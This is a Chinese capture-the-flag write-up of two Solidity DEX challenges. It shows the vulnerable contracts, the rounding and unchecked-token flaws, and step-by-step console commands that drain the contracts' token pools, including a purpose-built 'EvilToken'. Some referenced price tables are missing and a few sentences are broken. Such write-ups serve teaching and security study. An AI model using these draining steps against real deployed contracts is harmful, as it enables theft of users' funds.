Dex
源码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./ERC20.sol";
import "./SafeMath.sol";
import "./ownable.sol";
contract Dex is Ownable {
using SafeMath for uint;
address public token1;
address public token2;
constructor() public {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public returns(bool){
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
分析:
此合约是代币之间的转换,合约很好理解。重点在于getSwapPrice,两个token之间的汇率转换。
该漏洞源于确定 Dex 中令牌之间交换率的方法。其中的除法并不总是计算成一个完美的整数,而是一个分数。而且固体中没有分数类型。相反,除法会根据文档向零舍入。
初始合约有token1、token2各100,player有token1、token2各10个。
以下是价格历史&余额的走势。最初:
然后:
请注意,此时汇率已调整。现在,交换20应该给.但是由于除法结果是整数,我们得到24 。价格再次调整。再次交换。token2``20 * 110 / 90 = 24.44.
在每次交换时,我们得到的比上一次交换之前持有的更多或更多。这是由于价格计算方法不准确。
在上面的最后一次交换中,我们已经掌握了 65 ,这足以耗尽所有110!通过简单的计算,只需要 45 个就可以得到 所有 110 个 。
跳转到控制台。首先批准合同,以足够大的津贴转移您的代币,这样我们就不必再次批准。500的津贴应该绰绰有余:
await contract.approve(contract.address, 500)
获取token地址:
t1 = await contract.token1()
t2 = await contract.token2()
现在逐个执行对应于上面的表格行的7个交换:
await contract.swap(t1, t2, 10)
await contract.swap(t2, t1, 20)
await contract.swap(t1, t2, 24)
await contract.swap(t2, t1, 30)
await contract.swap(t1, t2, 41)
await contract.swap(t2, t1, 45)
token1
被抽干了!验证方式:
await contract.balanceOf(t1, instance).then(v => v.toString())
DexTwo
dextwo唯一不一样的就是swap方法
function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
这次的要求是拿出合约里所有的token1和token2
漏洞是由不检查交换是否必然介于 token1和token2 之间的方法引起的。
可以自己构造一个新的 IERC20 的 token 参与进来,大量铸币approve后随便换就行。
构造一个EVL代币
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract EvilToken is ERC20 {
constructor(uint256 initialSupply) ERC20("EvilToken", "EVL") {
_mint(msg.sender, initialSupply);
}
}
我们可以设置我们拥有EVL初始为300、合约初始为100.
一比一对换token1
最后:
Get token addresses:
evlToken = '<EVL-token-address>'
t1 = await contract.token1()
t2 = await contract.token2()
转100去token1
await contract.swap(evlToken, t1, 100)
查看合约token1的余额
await contract.balanceOf(t1, instance).then(v => v.toString())
汇率变了,要转移200才能将token2变成0
await contract.swap(evlToken, t2, 200)
查看token2的余额
await contract.balanceOf(t2, instance).then(v => v.toString())
成功!